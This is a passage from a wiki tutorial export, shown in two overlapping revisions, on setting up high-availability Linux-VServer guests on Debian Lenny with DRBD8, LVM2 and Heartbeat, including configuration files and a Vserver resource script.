The Volume Group and the Physical Volume will be identical on node2 if this one becomes the primary for r0.<br />
</blockquote><br />
<br />
== Loadbalance-Failover the network cards ==<br />
<br />
Maybe not very specific to Vserver, Heartbeat or DRBD, but loadbalancing your network cards for failover is always usefull. Some more indepth details by Carla Schroder can be found here. <br />
[[http://www.enterprisenetworkingplanet.com/nethub/article.php/3696561]]<br />
I did not do it for the DRBD crossover cable between the nodes while this is actually highly recomended.<br />
We need both mii-tool and ethtool.<br />
<br />
<code><br />
apt-get install ethtool ifenslave-2.6<br />
</code><br />
<br />
<code><br />
nano /etc/modprobe.d/arch/i386<br />
</code><br />
<br />
To load the modules with the correct options at boot time.<br />
<br />
<pre><br />
alias bond0 bonding<br />
options bond0 mode=balance-alb miimon=100 <br />
</pre><br />
<br />
And set the interfaces eth0 and eth1 as slaves to bond0, also eth2 is set here for the crossover cable for the DRBD connection to the fail over machine.<br />
<br />
<code><br />
nano /etc/network/interfaces<br />
</code><br />
<pre><br />
# This file describes the network interfaces available on your system<br />
# and how to activate them. For more information, see interfaces(5).<br />
<br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# The primary network interface<br />
auto bond0<br />
iface bond0 inet static<br />
address 123.123.123.100<br />
netmask 255.255.255.0<br />
network 123.123.123.0<br />
broadcast 123.123.123.255<br />
gateway 123.123.123.1<br />
# dns-* options are implemented by the resolvconf package, if installed<br />
dns-nameservers 123.123.123.45<br />
dns-search example.com<br />
up /sbin/ifenslave bond0 eth0 eth1<br />
down ifenslave -d bond0 eth0 eth1<br />
<br />
<br />
auto eth2<br />
iface eth2 inet static<br />
address 192.168.1.100<br />
netmask 255.255.255.0<br />
</pre><br />
<br />
This way the system needs to be rebooted before the changes take effect, otherwise you should load the drivers and ifdown eth0 and eth1 first before ifup bond0 but i'm planning to install a new kernel anyway in the next step.<br />
<br />
== Install the Vserver packages ==<br />
<br />
<code><br />
apt-get install linux-image-2.6-vserver-686-bigmem util-vserver<br />
</code><br />
<br />
As usual a reboot is needed to boot this kernel.<br />
<br />
<blockquote><br />
With Etch i found that the Vserver kernel often ended up as second in the grub list, not so in Lenny but to be safe check the kernel stanza in /boot/grub/menu.lst especially when doing this from a remote location.<br />
</blockquote><br />
<br />
== Install DRBD8, LVM2 and Heartbeat ==<br />
<br />
<code><br />
apt-get install drbd8-modules-2.6-vserver-686-bigmem drbd8-module-source lvm2 heartbeat-2<br />
</code><br />
<br />
<blockquote><br />
not sure about this, but DRBD always needed to be compiled against the running kernel, is this still the case with the kernel specific modules? I did not check but it would be good to know in case of a kernel upgrade.<br />
</blockquote><br />
<br />
== Build DRBD8 ==<br />
<br />
Although packages are available in the repositorie for DRBD8, the purpose of these packages is that you can built it easily from source and patch the running kernel.<br />
<br />
To do this we just issue this command<br />
<br />
<code><br />
m-a a-i drbd8<br />
</code><br />
<br />
And to load it into the kernel..<br />
<br />
<code><br />
depmod -ae<br />
</code><br />
<br />
<code><br />
modprobe drbd<br />
</code><br />
<br />
==== Configure DRBD8 ====<br />
<br />
Now that we have the essentials installed we can configure DRBD. Again, i will not go in to the details of all the options here so check out the default config and http://www.drbd.org/ to find a match for your set up.<br />
<br />
<code><br />
mv /etc/drbd.conf /etc/drbd.conf.original<br />
</code><br />
<br />
<code><br />
nano /etc/drbd.conf<br />
</code><br />
<br />
<pre><br />
global {<br />
usage-count no;<br />
}<br />
<br />
common {<br />
syncer { rate 100M; } <br />
}<br />
<br />
resource r0 {<br />
protocol C;<br />
handlers {<br />
pri-on-incon-degr "echo o > /proc/sysrq-trigger ; halt f";<br />
pri-lost-after-sb "echo o > /proc/sysrq-trigger ; halt f";<br />
local-io-error "echo o > /proc/sysrq-trigger ; halt f";<br />
outdate-peer "/usr/lib/heartbeat/drbd-peer-outdater -t 5";<br />
}<br />
<br />
startup {<br />
degr-wfc-timeout 120; # 2 minutes.<br />
}<br />
<br />
disk {<br />
on-io-error detach;<br />
}<br />
<br />
net { <br />
after-sb-0pri disconnect;<br />
after-sb-1pri disconnect;<br />
after-sb-2pri disconnect;<br />
rr-conflict disconnect;<br />
}<br />
<br />
syncer {<br />
rate 100M;<br />
al-extents 257;<br />
}<br />
<br />
<br />
on node1 {<br />
device /dev/drbd0;<br />
disk /dev/cciss/c0d0p6;<br />
address 192.168.1.100:7788;<br />
meta-disk internal;<br />
}<br />
<br />
on node2 {<br />
device /dev/drbd0;<br />
disk /dev/cciss/c0d0p6;<br />
address 192.168.1.200:7788;<br />
meta-disk internal;<br />
}<br />
}<br />
</pre><br />
<br />
Before we start DRBD we change some permissions, otherwise it will ask for it.<br />
So on both nodes<br />
<pre><br />
chgrp haclient /sbin/drbdsetup<br />
chmod o-x /sbin/drbdsetup<br />
chmod u+s /sbin/drbdsetup<br />
chgrp haclient /sbin/drbdmeta<br />
chmod o-x /sbin/drbdmeta<br />
chmod u+s /sbin/drbdmeta<br />
</pre><br />
<br />
==== Create the DRBD devices ====<br />
<br />
On both nodes<br />
<br />
node1<br />
<br />
<code><br />
drbdadm create-md r0<br />
</code><br />
<br />
node2<br />
<br />
<code><br />
drbdadm create-md r0<br />
</code><br />
<br />
node1<br />
<br />
<code><br />
drbdadm up r0<br />
</code><br />
<br />
node2<br />
<br />
<code><br />
drbdadm up r0<br />
</code><br />
<br />
<blockquote><br />
'''The following should be done on the node that will be the primary!'''<br />
</blockquote><br />
<br />
On node1<br />
<br />
<code><br />
drbdadm -- --overwrite-data-of-peer primary r0<br />
</code><br />
<br />
<br />
watch cat /proc/drbd should show you something like this<br />
<pre><br />
version: 8.0.13 (api:86/proto:86)<br />
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07<br />
0: cs:SyncSource st:Primary/Secondary ds:UpToDate/Inconsistent C r---<br />
ns:62059328 nr:0 dw:3298052 dr:58770141 al:2102 bm:3641 lo:1 pe:261 ua:251 ap:0<br />
[===>................] sync'ed: 22.1% (208411/267331)M<br />
finish: 4:04:44 speed: 14,472 (12,756) K/sec<br />
resync: used:1/61 hits:4064317 misses:5172 starving:0 dirty:0 changed:5172<br />
act_log: used:0/257 hits:822411 misses:46655 starving:110 dirty:44552 changed:2102<br />
<br />
<br />
</pre><br />
<br />
== Configure LVM2 ==<br />
<br />
<br />
<note important><br />
LVM will normally scan all available devices under /dev, but since /dev/cciss/c0d0p6 and /dev/drbd0 are basically the same this will lead to errors where LVM reads and writes the same data to both devices.<br />
So to limit it to scan /dev/drbd devices only we do the following on both nodes.<br />
<br />
</note><br />
<br />
<code><br />
cp /etc/lvm/lvm.conf /etc/lvm/lvm.conf.original<br />
</code><br />
<br />
<code><br />
nano /etc/lvm/lvm.conf<br />
</code><br />
<br />
<pre><br />
#filter = [ "a/.*/" ]<br />
filter = [ "a|/dev/drbd|", "r|.*|" ]<br />
</pre><br />
<br />
to re-scan with the new settings on both nodes<br />
<code><br />
<br />
vgscan<br />
</code><br />
<br />
=== Create the Physical Volume ===<br />
<br />
The following only needs to be done on the node that is the primary!!<br />
<br />
On node1<br />
<br />
<code><br />
pvcreate /dev/drbd0<br />
</code><br />
<br />
=== Create the Volume Group ===<br />
<br />
The following only needs to be done on the node that is the primary!!<br />
<br />
One node1<br />
<br />
<code><br />
vgcreate drbdvg0 /dev/drbd0<br />
</code><br />
<br />
=== Create the Logical Volume ===<br />
<br />
Yes, again only on the node that is primary!!!<br />
<br />
For this example about 50GB, this leaves plenty of space to expand the volumes or to add extra volumes later on.<br />
<br />
On node1<br />
<br />
<code><br />
lvcreate -L50000 -n web drbdvg0<br />
</code><br />
<br />
Then we put a file system on the logical volumes<br />
<br />
<code><br />
mkfs.ext3 /dev/drbdvg0/web<br />
</code><br />
<br />
create the directory where we want to mount the Vservers<br />
<br />
<code><br />
mkdir -p /VSERVERS/web<br />
</code><br />
<br />
and mount the volume group to the mount point<br />
<br />
<code><br />
mount -t ext3 /dev/drbdvg0/web /VSERVERS/web/<br />
</code><br />
<br />
== Get informed ==<br />
<br />
Offcourse we want to be informed later on by heartbeat in case a node goes down, so we install postfix to send the mail.<br />
<br />
This should be done on both nodes<br />
<br />
<code><br />
apt-get install postfix mailx<br />
</code><br />
<br />
and go for the defaults, "internet site" and node1.example.com"<br />
<br />
We don't want postfix to listen to all interfaces,<br />
<br />
<code><br />
nano /etc/postfix/main.cf<br />
</code><br />
<br />
and change the line at the bottom to read like this, otherwise we get into trouble with postfix blocking port 25 for all the Vservers later.<br />
<br />
<code><br />
inet_interfaces = loopback-only<br />
</code><br />
<br />
<br />
== Heartbeat ==<br />
<br />
=== Get aquinted ===<br />
Add the other node in the hosts file of both nodes, this way Heartbeat knows who is who.<br />
<br />
so for node1 do<br />
<br />
<code><br />
nano /etc/hosts<br />
</code><br />
<br />
and add node2<br />
<br />
<pre><br />
192.168.1.200 node2<br />
</pre><br />
<br />
=== Get intimate ===<br />
<br />
Set up some keys on both boxes so we can ssh login without a password (defaults, no passphrase)<br />
<br />
<code><br />
ssh-keygen<br />
</code><br />
<br />
then copy over the public keys<br />
<br />
<code><br />
scp /root/.ssh/id_rsa.pub 192.168.1.100:/root/.ssh/authorized_keys<br />
</code><br />
<br />
<code><br />
scp /root/.ssh/id_rsa.pub 192.168.1.200:/root/.ssh/authorized_keys<br />
</code><br />
<br />
=== Configure Heartbeat ===<br />
<br />
Without the ha.cf file Heartbeat wil not start, this should only be done on 1 of the nodes.<br />
<br />
<code><br />
nano /etc/ha.d/ha.cf<br />
</code><br />
<br />
<pre><br />
autojoin none <br />
#crm on #enables heartbeat2 cluster manager - we want that!<br />
use_logd on<br />
logfacility syslog<br />
keepalive 1<br />
deadtime 10<br />
warntime 10<br />
udpport 694<br />
auto_failback on #resources move back once node is back online<br />
mcast bond0 239.0.0.43 694 1 0 <br />
bcast eth2 <br />
node node1 #hostnames of the nodes<br />
node node2<br />
</pre><br />
<br />
This one also on 1 of the nodes<br />
<br />
<code><br />
nano /etc/ha.d/authkeys<br />
</code><br />
<br />
<pre><br />
auth 3<br />
3 md5 failover ## this is just a string, enter what you want ! auth 3 md5 uses md5 encryption<br />
</pre><br />
<br />
<code><br />
chmod 600 /etc/ha.d/authkeys<br />
</code><br />
<br />
<note><br />
We will be using heartbeat R1-style configuration here simply because i don't understand the R2 xml based syntax.<br />
</note><br />
We only did the above 2 config files on 1 node but we need it on both, heartbeat can do that for us.<br />
<br />
<code><br />
/usr/lib/heartbeat/ha_propagate<br />
</code><br />
<br />
=== Heatbeat behavior ===<br />
<br />
After above 2 files are set, the haresources is where we want to be to control Heartbeats behaviour.<br />
This is an example for 1 Vserver that we will set up later on.<br />
<br />
<code><br />
nano /etc/ha.d/haresources<br />
</code><br />
<br />
<pre><br />
node1 drbddisk::r1 LVM::drbdvg1 Filesystem::/dev/drbdvg1/web::/VSERVERS/web::ext3 vserver-web SendArp::123.123.123.125/bond0 MailTo::randall@songshu.org::DRBDFailure<br />
</pre><br />
<br />
The above will default the Vserver named web to node1 and specify the mount points, the vserver-web script will start and stop heartbeat, the sendarp is for notifying the network that this IP can be found somewhere else then before. (have added the SendArp an extra time below for better result)<br />
<br />
Another example for more than 1 Vserver,<br />
We only specify 1 default node here for all Vservers and the same DRBD disk and Volume Group, the individual start scripts and mount points are specified separately, mind the \, its all in 1 line. the last mail command is only needed once.<br />
<br />
<pre><br />
node1 \<br />
drbddisk::r0 \<br />
LVM::drbdvg0 \<br />
Filesystem::/dev/drbdvg0/web::/VSERVERS/web::ext3 \<br />
Filesystem::/dev/drbdvg0/ns1::/VSERVERS/ns1::ext3 \<br />
Vserver-web \<br />
Vserver-ns1 \<br />
SendArp::123.123.123.125/bond0 \<br />
SendArp::123.123.123.126/bond0 \<br />
MailTo::randall@songshu.org::DRBDFailure<br />
</pre><br />
<br />
=== start/stop script ===<br />
<br />
The vserver-web script as specified to be called by heartbeat above is basically a demolished version of the original R2 style agent by Martin Fick from here http://www.theficks.name/bin/lib/ocf/VServer.<br />
<br />
What i did is remove the sensible top part and replace "$OCF_RESKEY_vserver" with the specific Vserver name, also added an extra<br />
<br />
<pre><br />
/etc/ha.d/resource.d/SendArp 123.123.123.126/bond0 start<br />
</pre><br />
<br />
to the start part because i had various results when done by Heartbeat in the first tests i did, not sure if it is still needed but i guess it doesn't hurt.<br />
<br />
<code><br />
nano /etc/ha.d/resource.d/Vserver-web<br />
</code><br />
<br />
<pre><br />
#!/bin/sh<br />
#<br />
# License: GNU General Public License (GPL) <br />
# Author: Martin Fick <mogulguy@yahoo.com><br />
# Date: 04/19/07<br />
# Version: 1.1<br />
#<br />
# This script manages a VServer instance<br />
#<br />
# It can start or stop a VServer<br />
#<br />
# usage: $0 {start|stop|status|monitor|meta-data}<br />
#<br />
#<br />
# OCF parameters are as below<br />
# OCF_RESKEY_vserver<br />
#<br />
#######################################################################<br />
# Initialization:<br />
#<br />
#. /usr/lib/heartbeat/ocf-shellfuncs<br />
#<br />
#USAGE="usage: $0 {start|stop|status|monitor|meta-data}";<br />
#<br />
#######################################################################<br />
#<br />
#<br />
#meta_data() {<br />
# cat <<END<br />
#<?xml version="1.0"?><br />
#<!DOCTYPE resource-agent SYSTEM "ra-api-1.dtd"><br />
#<resource-agent name="VServer"><br />
# <version>1.0</version><br />
# <longdesc lang="en"><br />
#This script manages a VServer instance.<br />
#It can start or stop a VServer.<br />
# </longdesc><br />
# <shortdesc lang="en">OCF Resource Agent compliant VServer script.</shortdesc><br />
#<br />
# <parameters><br />
#<br />
# <parameter name="vserver" unique="1" required="1"><br />
# <longdesc lang="en"><br />
#The vserver name is the name as found under /etc/vservers<br />
# </longdesc><br />
# <shortdesc lang="en">VServer Name</shortdesc><br />
# <content type="string" default="" /><br />
# </parameter><br />
#<br />
# </parameters><br />
#<br />
# <actions><br />
# <action name="start" timeout="2m" /><br />
# <action name="stop" timeout="1m" /><br />
# <action name="monitor" depth="0" timeout="1m" interval="5s" start-delay="2m" /><br />
# <action name="status" depth="0" timeout="1m" interval="5s" start-delay="2m" /><br />
# <action name="meta-data" timeout="1m" /><br />
# </actions><br />
#</resource-agent><br />
#END<br />
#}<br />
<br />
vserver_reload() {<br />
vserver_stop || return<br />
vserver_start<br />
}<br />
<br />
vserver_stop() {<br />
#<br />
# Is the VServer already stopped?<br />
#<br />
vserver_status<br />
[ $? -ne 0 ] && return 0<br />
<br />
/usr/sbin/vserver "web" "stop"<br />
<br />
vserver_status<br />
[ $? -ne 0 ] && return 0<br />
<br />
return 1<br />
}<br />
<br />
vserver_start() {<br />
vserver_status<br />
[ $? -eq 0 ] && return 0<br />
<br />
/usr/sbin/vserver "web" "start"<br />
vserver_status<br />
/etc/ha.d/resource.d/SendArp 123.123.123.125/bond0 start<br />
}<br />
<br />
vserver_status() {<br />
/usr/sbin/vserver "web" "status"<br />
rc=$?<br />
if [ $rc -eq 0 ]; then<br />
echo "running"<br />
return 0<br />
elif [ $rc -eq 3 ]; then<br />
echo "stopped"<br />
else<br />
echo "unknown"<br />
fi<br />
return 7<br />
}<br />
<br />
vserver_monitor() {<br />
vserver_status<br />
}<br />
<br />
<br />
vserver_usage() {<br />
<br />
echo $USAGE >&2<br />
}<br />
<br />
vserver_info() {<br />
cat - <<!INFO<br />
Abstract=VServer Instance takeover<br />
Argument=VServer Name<br />
Description:<br />
A Vserver is a simulated server which is fairly hardware independent<br />
so it can be easily setup to run on several machines.<br />
Please rerun with the meta-data command for a list of \\<br />
valid arguments and their defaults.<br />
!INFO<br />
}<br />
<br />
#<br />
# Start or Stop the given VServer...<br />
#<br />
<br />
if [ $# -ne 1 ] ; then<br />
vserver_usage<br />
exit 2<br />
fi<br />
<br />
case "$1" in<br />
start|stop|status|monitor|reload|info|usage) vserver_$1 ;;<br />
meta-data) meta_data ;;<br />
validate-all|notify|promote|demote) exit 3 ;;<br />
<br />
*) vserver_usage ; exit 2 ;;<br />
esac<br />
<br />
<br />
</pre><br />
To make this file executable by Heartbeat<br />
<br />
<code><br />
chmod a+x /etc/ha.d/resource.d/Vserver-web<br />
</code><br />
<br />
=== not needed???? ===<br />
<br />
There is some more interesting discussion going on here, [[Advanced_DRBD_mount_issues]]) , for those who have multiple Vservers on multiple DRBD devices. Not sure if it also applies for this setup but i'm using it without any drawbacks at the moment.<br />
<br />
Below is a changed version of option 4 by Christian Balzer<br />
<br />
<code><br />
nano /etc/ha.d/resource.d/drbddisk<br />
</code><br />
<br />
<pre><br />
stop)<br />
# Kill off any vserver mounts that might hog this<br />
VNSPACE=/usr/sbin/vnamespace<br />
<br />
for CTX in `/usr/sbin/vserver-stat | tail -n +2 | awk '{print $1}'`<br />
do<br />
MPOINT="`$VNSPACE -e $CTX cat /proc/mounts | grep $RES | awk '{print $2}'`"<br />
echo Unmounting mount point $MPOINT from within context $CTX<br />
### MOUNT POINT IS COMPULSORY. DEVICE NAME DOES NOT WORK!!!<br />
$VNSPACE -e $CTX /bin/umount $MPOINT || continue;<br />
done<br />
# exec, so the exit code of drbdadm propagates<br />
exec $DRBDADM secondary $RES<br />
<br />
</pre><br />
<br />
== Create a Vserver ==<br />
<br />
Note that we already have mounted the LVM partition on /VSERVERS/web in an earlier step, we're going to place both the /var and /etc directories on the mountpoint and symlink to it, this way the complete Vserver and its config are available on the other node when mounted.<br />
<br />
<code><br />
mkdir -p /VSERVERS/web/etc<br />
</code><br />
<br />
<code><br />
mkdir -p /VSERVERS/web/barrier/var<br />
</code><br />
<br />
When making the Vserver it will be in the default location /var/lib/vservers/web and its config in /etc/vservers/web <br />
<br />
<pre><br />
vserver web build -m debootstrap --hostname web.example.com --interface bond0:123.123.123.125/24 -- -d etch -m http://123.123.123.81:3142/debian.apt-get.eu/debian<br />
</pre><br />
<br />
<pre><br />
enter the root password<br />
</pre><br />
<br />
<pre><br />
Create a normal user account now? <br />
<No> <br />
</pre><br />
<br />
<pre><br />
Choose software to install: <br />
<Ok> <br />
</pre><br />
<br />
On node1 we move the Vserver directories to the LVM volume on the DRBD disks and make symlinks from the normal locations.<br />
<br />
On node1<br />
<br />
<code><br />
mv /etc/vservers/web/* /VSERVERS/web/etc/<br />
</code><br />
<br />
<code><br />
rmdir /etc/vservers/web/<br />
</code><br />
<br />
<code><br />
ln -s /VSERVERS/web/etc /etc/vservers/web<br />
</code><br />
<br />
<code><br />
mv /var/lib/vservers/web/* /VSERVERS/web/barrier/var<br />
</code><br />
<br />
<code><br />
rmdir /var/lib/vservers/web/<br />
</code><br />
<br />
<code><br />
ln -s /VSERVERS/web/barrier/var /var/lib/vservers/web<br />
</code><br />
<br />
We need to set the same symlinks on node2, but the we need the Vserver directories available there first.<br />
The mounting should be handled by heartbeat by now so we make our resources move to the other machine.<br />
<br />
On node1<br />
<br />
<code><br />
/etc/init.d/heartbeat stop<br />
</code><br />
<br />
On node2<br />
<br />
<code><br />
ln -s /VSERVERS/web/etc /etc/vservers/web<br />
</code><br />
<br />
<br />
<code><br />
ln -s /VSERVERS/web/barrier/var /var/lib/vservers/web<br />
</code><br />
<br />
On node1<br />
<br />
<code><br />
/etc/init.d/heartbeat start<br />
</code><br />
<br />
<code><br />
Vserver web start<br />
</code><br />
<br />
and enjoy!</div>Daniel hozachttp://svn.linux-vserver.org/Getting_high_with_lennyGetting high with lenny2010-02-20T00:33:04Z<p>Daniel hozac: no newvserver</p>
<hr />
<div>== Getting High with Lenny ==<br />
<br />
The aim here is to set up some high available services on Debian Lenny (at this moment October 1st still due to be released)<br />
<br />
<br />
There is a lot of buzz going on for a while now about virtualisation and High Availability and while Vserver is very well capable for this job the number of documented examples compared to some other virtualisation techniques are a little lacking so i thought i'd do my share. <br />
<br />
I prefer to use Vserver for the "virtualisation" because of its configurability, shared memory and cpu resources and basically the raw speed.<br />
DRBD8 and Heartbeat should take care of the availability magic in case a machine shuts down unexpectedly.<br />
In my experience it takes a few seconds to have several Vservers fail over to another machine with this setup.<br />
<br />
The main attempt here is to give a single working example without going to much in to the details of every option, the scenario is relatively simple but different variations can be made.<br />
<br />
For this set up we will have <br />
<br />
<blockquote><br />
*2 machines <br><br />
*both machines have 1 single large DRBD partition <br> <br />
*primary/seconday there is always 1 machine active and 1 on standby <br><br />
*1 LVM partition per Vserver on top of the DRBD partition, for quota support from within the guest and LVM snapshots<br />
*the Vservers /etc/vserver and /var/lib/vservers directories will be placed on the DRBD partition. <br><br />
</blockquote><br />
<br />
In case the main machine that runs the Vservers goes down, the synchronized second machine should take over and automatically start the Vservers.<br />
<br />
Basically this is an on-line RAID solution that can keep your services running in case of hardware failure, it is NOT a back-up replacement.<br />
<br />
The cost for this setup is that you always have 1 idle machine standby, this cost can be justified by the fact that Linux-Vserver enables you to make full use of the 1 machine that is running, you also could consider to run this on a little less expensive (reliable) hardware.<br />
<br />
Also note that i will be using R1 style configuration for heartbeat, R1 style can be considered to be depreciated when using Heartbeat2 but i could not get my head around the R2 xml configuration, so if you want R2 you might want to have a look here.<br />
[[Fail-over]])<br />
<br />
The partitioning looks as follows<br />
<br />
<code> <br />
c0d0p1 Boot Primary Linux ext3 10001.95<br />
c0d0p5 Logical Linux swap / Solaris 1003.49<br />
c0d0p6 Logical Linux 280325.77<br />
<br />
</code><br />
<br />
<br />
<blockquote><br />
'''machine1''' will use the following names. <br><br />
*hostname = node1 <br> <br />
*IP number = 192.168.1.100<br><br />
*is primary for r0 on disk c0d0p6 <br><br />
*physical volume on r0 is /dev/drbd0 <br><br />
*volume group on /dev/drbd0 is called drbdvg0 <br><br />
</blockquote><br />
<br />
<blockquote><br />
'''machine2''' will use the following names. <br><br />
*hostname = node2 <br><br />
*IP number = 192.168.1.200 <br><br />
*is secondary for r0 on disk c0d0p6 <br><br />
<br />
The Volume Group and the Physical Volume will be identical on node2 if this one becomes the primary for r0.<br />
</blockquote><br />
<br />
== Loadbalance-Failover the network cards ==<br />
<br />
Maybe not very specific to Vserver, Heartbeat or DRBD, but loadbalancing your network cards for failover is always usefull. Some more indepth details by Carla Schroder can be found here. <br />
[[http://www.enterprisenetworkingplanet.com/nethub/article.php/3696561]]<br />
I did not do it for the DRBD crossover cable between the nodes while this is actually highly recomended.<br />
We need both mii-tool and ethtool.<br />
<br />
<code><br />
apt-get install ethtool ifenslave-2.6<br />
</code><br />
<br />
<code><br />
nano /etc/modprobe.d/arch/i386<br />
</code><br />
<br />
To load the modules with the correct options at boot time.<br />
<br />
<pre><br />
alias bond0 bonding<br />
options bond0 mode=balance-alb miimon=100 <br />
</pre><br />
<br />
And set the interfaces eth0 and eth1 as slaves to bond0, also eth2 is set here for the crossover cable for the DRBD connection to the fail over machine.<br />
<br />
<code><br />
nano /etc/network/interfaces<br />
</code><br />
<pre><br />
# This file describes the network interfaces available on your system<br />
# and how to activate them. For more information, see interfaces(5).<br />
<br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# The primary network interface<br />
auto bond0<br />
iface bond0 inet static<br />
address 123.123.123.100<br />
netmask 255.255.255.0<br />
network 123.123.123.0<br />
broadcast 123.123.123.255<br />
gateway 123.123.123.1<br />
# dns-* options are implemented by the resolvconf package, if installed<br />
dns-nameservers 123.123.123.45<br />
dns-search example.com<br />
up /sbin/ifenslave bond0 eth0 eth1<br />
down ifenslave -d bond0 eth0 eth1<br />
<br />
<br />
auto eth2<br />
iface eth2 inet static<br />
address 192.168.1.100<br />
netmask 255.255.255.0<br />
</pre><br />
<br />
This way the system needs to be rebooted before the changes take effect, otherwise you should load the drivers and ifdown eth0 and eth1 first before ifup bond0 but i'm planning to install a new kernel anyway in the next step.<br />
<br />
== Install the Vserver packages ==<br />
<br />
<code><br />
apt-get install linux-image-2.6-vserver-686-bigmem util-vserver vserver-debiantools<br />
</code><br />
<br />
As usual a reboot is needed to boot this kernel.<br />
<br />
<blockquote><br />
With Etch i found that the Vserver kernel often ended up as second in the grub list, not so in Lenny but to be safe check the kernel stanza in /boot/grub/menu.lst especially when doing this from a remote location.<br />
</blockquote><br />
<br />
== Install DRBD8, LVM2 and Heartbeat ==<br />
<br />
<code><br />
apt-get install drbd8-modules-2.6-vserver-686-bigmem drbd8-module-source lvm2 heartbeat-2<br />
</code><br />
<br />
<blockquote><br />
not sure about this, but DRBD always needed to be compiled against the running kernel, is this still the case with the kernel specific modules? I did not check but it would be good to know in case of a kernel upgrade.<br />
</blockquote><br />
<br />
== Build DRBD8 ==<br />
<br />
Although packages are available in the repositorie for DRBD8, the purpose of these packages is that you can built it easily from source and patch the running kernel.<br />
<br />
To do this we just issue this command<br />
<br />
<code><br />
m-a a-i drbd8<br />
</code><br />
<br />
And to load it into the kernel..<br />
<br />
<code><br />
depmod -ae<br />
</code><br />
<br />
<code><br />
modprobe drbd<br />
</code><br />
<br />
==== Configure DRBD8 ====<br />
<br />
Now that we have the essentials installed we can configure DRBD. Again, i will not go in to the details of all the options here so check out the default config and http://www.drbd.org/ to find a match for your set up.<br />
<br />
<code><br />
mv /etc/drbd.conf /etc/drbd.conf.original<br />
</code><br />
<br />
<code><br />
nano /etc/drbd.conf<br />
</code><br />
<br />
<pre><br />
global {<br />
usage-count no;<br />
}<br />
<br />
common {<br />
syncer { rate 100M; } <br />
}<br />
<br />
resource r0 {<br />
protocol C;<br />
handlers {<br />
pri-on-incon-degr "echo o > /proc/sysrq-trigger ; halt f";<br />
pri-lost-after-sb "echo o > /proc/sysrq-trigger ; halt f";<br />
local-io-error "echo o > /proc/sysrq-trigger ; halt f";<br />
outdate-peer "/usr/lib/heartbeat/drbd-peer-outdater -t 5";<br />
}<br />
<br />
startup {<br />
degr-wfc-timeout 120; # 2 minutes.<br />
}<br />
<br />
disk {<br />
on-io-error detach;<br />
}<br />
<br />
net { <br />
after-sb-0pri disconnect;<br />
after-sb-1pri disconnect;<br />
after-sb-2pri disconnect;<br />
rr-conflict disconnect;<br />
}<br />
<br />
syncer {<br />
rate 100M;<br />
al-extents 257;<br />
}<br />
<br />
<br />
on node1 {<br />
device /dev/drbd0;<br />
disk /dev/cciss/c0d0p6;<br />
address 192.168.1.100:7788;<br />
meta-disk internal;<br />
}<br />
<br />
on node2 {<br />
device /dev/drbd0;<br />
disk /dev/cciss/c0d0p6;<br />
address 192.168.1.200:7788;<br />
meta-disk internal;<br />
}<br />
}<br />
</pre><br />
<br />
Before we start DRBD we change some permissions, otherwise it will ask for it.<br />
So on both nodes<br />
<pre><br />
chgrp haclient /sbin/drbdsetup<br />
chmod o-x /sbin/drbdsetup<br />
chmod u+s /sbin/drbdsetup<br />
chgrp haclient /sbin/drbdmeta<br />
chmod o-x /sbin/drbdmeta<br />
chmod u+s /sbin/drbdmeta<br />
</pre><br />
<br />
==== Create the DRBD devices ====<br />
<br />
On both nodes<br />
<br />
node1<br />
<br />
<code><br />
drbdadm create-md r0<br />
</code><br />
<br />
node2<br />
<br />
<code><br />
drbdadm create-md r0<br />
</code><br />
<br />
node1<br />
<br />
<code><br />
drbdadm up r0<br />
</code><br />
<br />
node2<br />
<br />
<code><br />
drbdadm up r0<br />
</code><br />
<br />
<blockquote><br />
'''The following should be done on the node that will be the primary!'''<br />
</blockquote><br />
<br />
On node1<br />
<br />
<code><br />
drbdadm -- --overwrite-data-of-peer primary r0<br />
</code><br />
<br />
<br />
watch cat /proc/drbd should show you something like this<br />
<pre><br />
version: 8.0.13 (api:86/proto:86)<br />
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07<br />
0: cs:SyncSource st:Primary/Secondary ds:UpToDate/Inconsistent C r---<br />
ns:62059328 nr:0 dw:3298052 dr:58770141 al:2102 bm:3641 lo:1 pe:261 ua:251 ap:0<br />
[===>................] sync'ed: 22.1% (208411/267331)M<br />
finish: 4:04:44 speed: 14,472 (12,756) K/sec<br />
resync: used:1/61 hits:4064317 misses:5172 starving:0 dirty:0 changed:5172<br />
act_log: used:0/257 hits:822411 misses:46655 starving:110 dirty:44552 changed:2102<br />
<br />
<br />
</pre><br />
<br />
== Configure LVM2 ==<br />
<br />
<br />
<note important><br />
LVM will normally scan all available devices under /dev, but since /dev/cciss/c0d0p6 and /dev/drbd0 are basically the same this will lead to errors where LVM reads and writes the same data to both devices.<br />
So to limit it to scan /dev/drbd devices only we do the following on both nodes.<br />
<br />
</note><br />
<br />
<code><br />
cp /etc/lvm/lvm.conf /etc/lvm/lvm.conf.original<br />
</code><br />
<br />
<code><br />
nano /etc/lvm/lvm.conf<br />
</code><br />
<br />
<pre><br />
#filter = [ "a/.*/" ]<br />
filter = [ "a|/dev/drbd|", "r|.*|" ]<br />
</pre><br />
<br />
to re-scan with the new settings on both nodes<br />
<code><br />
<br />
vgscan<br />
</code><br />
<br />
=== Create the Physical Volume ===<br />
<br />
The following only needs to be done on the node that is the primary!!<br />
<br />
On node1<br />
<br />
<code><br />
pvcreate /dev/drbd0<br />
</code><br />
<br />
=== Create the Volume Group ===<br />
<br />
The following only needs to be done on the node that is the primary!!<br />
<br />
One node1<br />
<br />
<code><br />
vgcreate drbdvg0 /dev/drbd0<br />
</code><br />
<br />
=== Create the Logical Volume ===<br />
<br />
Yes, again only on the node that is primary!!!<br />
<br />
For this example about 50GB, this leaves plenty of space to expand the volumes or to add extra volumes later on.<br />
<br />
On node1<br />
<br />
<code><br />
lvcreate -L50000 -n web drbdvg0<br />
</code><br />
<br />
Then we put a file system on the logical volumes<br />
<br />
<code><br />
mkfs.ext3 /dev/drbdvg0/web<br />
</code><br />
<br />
create the directory where we want to mount the Vservers<br />
<br />
<code><br />
mkdir -p /VSERVERS/web<br />
</code><br />
<br />
and mount the volume group to the mount point<br />
<br />
<code><br />
mount -t ext3 /dev/drbdvg0/web /VSERVERS/web/<br />
</code><br />
<br />
== Get informed ==<br />
<br />
